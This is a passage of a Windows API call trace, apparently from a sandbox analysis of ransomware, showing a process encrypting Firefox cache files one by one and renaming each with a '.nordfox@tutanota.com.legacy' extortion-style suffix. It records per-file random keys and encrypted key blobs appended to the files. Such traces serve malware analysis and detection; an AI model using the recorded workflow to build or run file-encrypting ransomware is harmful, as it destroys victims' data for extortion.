ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x10fd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x10fd, lpOverlapped=0x0) returned 1 [0185.780] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4349, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.780] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4990*, nNumberOfBytesToWrite=0x10fd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x10fd, lpOverlapped=0x0) returned 1 [0185.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.780] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f4990 | out: hHeap=0x520000) returned 1 [0185.780] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x10fd [0185.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.780] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.780] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.780] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.780] CloseHandle (hObject=0x1b80) returned 1 [0185.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e39d8 | out: hHeap=0x520000) returned 1 [0185.781] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.781] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5c0cb54bad412c796d80b551c555c6b675e0a72"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A5C0CB54BAD412C796D80B551C555C6B675E0A72.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a5c0cb54bad412c796d80b551c555c6b675e0a72.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.782] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e38d0 | out: hHeap=0x520000) returned 1 [0185.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4b60 [0185.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4c68 [0185.783] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4c68 | out: pbBuffer=0x30e4c68) returned 1 [0185.783] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.783] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE", dwFileAttributes=0x80) returned 1 [0185.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.784] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.785] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.785] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a502a052a0bc8aacb6e486cd6c3f6ecef2f6deee"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.785] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15454) returned 1 [0185.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c5e) returned 0x30e7068 [0185.785] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3c5e) returned 0x30eacd0 [0185.785] ReadFile (in: hFile=0x1b80, lpBuffer=0x30e7068, nNumberOfBytesToRead=0x3c5e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e7068*, lpNumberOfBytesRead=0x2e1f9bc*=0x3c5e, lpOverlapped=0x0) returned 1 [0185.797] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-15454, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.798] WriteFile (in: hFile=0x1b80, lpBuffer=0x30eacd0*, nNumberOfBytesToWrite=0x3c5e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30eacd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3c5e, lpOverlapped=0x0) returned 1 [0185.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e7068 | out: hHeap=0x520000) returned 1 [0185.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30eacd0 | out: hHeap=0x520000) returned 1 [0185.798] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3c5e [0185.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.798] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4c68*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4c68*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.798] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4c68*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4c68*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.799] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.799] CloseHandle (hObject=0x1b80) returned 1 [0185.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4c68 | out: hHeap=0x520000) returned 1 [0185.799] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0185.799] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a502a052a0bc8aacb6e486cd6c3f6ecef2f6deee"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A502A052A0BC8AACB6E486CD6C3F6ECEF2F6DEEE.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a502a052a0bc8aacb6e486cd6c3f6ecef2f6deee.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4b60 | out: hHeap=0x520000) returned 1 [0185.801] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4a58 | out: hHeap=0x520000) returned 1 [0185.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e38d0 [0185.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4a58 [0185.801] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3458 [0185.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4a58 | out: pbBuffer=0x30e4a58) returned 1 [0185.801] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0185.802] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8", dwFileAttributes=0x80) returned 1 [0185.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4b60 [0185.802] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4b60 | out: hHeap=0x520000) returned 1 [0185.802] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a452e838ff9e4634826be621406d0a260dab4fd8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.803] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=821) returned 1 [0185.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x335) returned 0x61ec60 [0185.803] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x335) returned 0x555b90 [0185.803] ReadFile (in: hFile=0x1b80, lpBuffer=0x61ec60, nNumberOfBytesToRead=0x335, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x61ec60*, lpNumberOfBytesRead=0x2e1f9bc*=0x335, lpOverlapped=0x0) returned 1 [0185.810] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-821, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.810] WriteFile (in: hFile=0x1b80, lpBuffer=0x555b90*, nNumberOfBytesToWrite=0x335, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x335, lpOverlapped=0x0) returned 1 [0185.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x61ec60 | out: hHeap=0x520000) returned 1 [0185.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0185.810] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x335 [0185.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.810] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.811] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.811] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.811] CloseHandle (hObject=0x1b80) returned 1 [0185.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4a58 | out: hHeap=0x520000) returned 1 [0185.811] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3458 | out: hHeap=0x520000) returned 1 [0185.811] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a452e838ff9e4634826be621406d0a260dab4fd8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A452E838FF9E4634826BE621406D0A260DAB4FD8.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a452e838ff9e4634826be621406d0a260dab4fd8.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e38d0 | out: hHeap=0x520000) returned 1 [0185.816] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e37c8 | out: hHeap=0x520000) returned 1 [0185.816] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e37c8 [0185.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0185.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3198 | out: pbBuffer=0x30e3198) returned 1 [0185.817] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0185.817] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1", dwFileAttributes=0x80) returned 1 [0185.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4a58 [0185.817] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.817] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4a58 | out: hHeap=0x520000) returned 1 [0185.817] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2bb4715de93dad8b3af00cf547d18b9cf8f84a1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.818] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=6143) returned 1 [0185.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17ff) returned 0x30f3888 [0185.818] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17ff) returned 0x30f5090 [0185.818] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x17ff, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x17ff, lpOverlapped=0x0) returned 1 [0185.837] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.837] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5090*, nNumberOfBytesToWrite=0x17ff, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5090*, lpNumberOfBytesWritten=0x2e1f9bc*=0x17ff, lpOverlapped=0x0) returned 1 [0185.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f3888 | out: hHeap=0x520000) returned 1 [0185.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f5090 | out: hHeap=0x520000) returned 1 [0185.838] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x17ff [0185.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.838] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e3198*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.838] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3198*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3198*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.838] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.838] CloseHandle (hObject=0x1b80) returned 1 [0185.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3198 | out: hHeap=0x520000) returned 1 [0185.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0185.838] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2bb4715de93dad8b3af00cf547d18b9cf8f84a1"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2BB4715DE93DAD8B3AF00CF547D18B9CF8F84A1.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2bb4715de93dad8b3af00cf547d18b9cf8f84a1.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e37c8 | out: hHeap=0x520000) returned 1 [0185.840] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e3cf0 | out: hHeap=0x520000) returned 1 [0185.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e5088 [0185.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4a58 [0185.840] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0185.840] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e4a58 | out: pbBuffer=0x30e4a58) returned 1 [0185.841] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0185.841] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691", dwFileAttributes=0x80) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e32a0 [0185.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0185.841] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e32a0 | out: hHeap=0x520000) returned 1 [0185.841] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2b74048371354b1f26b148601f36159d0427691"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b80 [0185.841] GetFileSizeEx (in: hFile=0x1b80, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=84997) returned 1 [0185.841] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c05) returned 0x2eeb018 [0185.842] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14c05) returned 0x2effc28 [0185.842] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x14c05, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x14c05, lpOverlapped=0x0) returned 1 [0185.853] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-84997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.853] WriteFile (in: hFile=0x1b80, lpBuffer=0x2effc28*, nNumberOfBytesToWrite=0x14c05, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2effc28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14c05, lpOverlapped=0x0) returned 1 [0185.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2eeb018 | out: hHeap=0x520000) returned 1 [0185.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2effc28 | out: hHeap=0x520000) returned 1 [0185.854] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14c05 [0185.854] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0185.854] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0185.854] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0185.854] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0185.854] CloseHandle (hObject=0x1b80) returned 1 [0185.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4a58 | out: hHeap=0x520000) returned 1 [0185.854] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0185.855] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2b74048371354b1f26b148601f36159d0427691"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\A2B74048371354B1F26B148601F36159D0427691.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\a2b74048371354b1f26b148601f36159d0427691.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0185.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0185.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5088 | out: hHeap=0x520000) returned 1 [0185.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e4740 | out: hHeap=0x520000) returned 1 [0185.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e4740 [0185.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e3198 [0185.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0185.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e3198 | out: pbBuffer=0x30e3198) returned 1 [0185.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0185.857] SetFileAttributesW 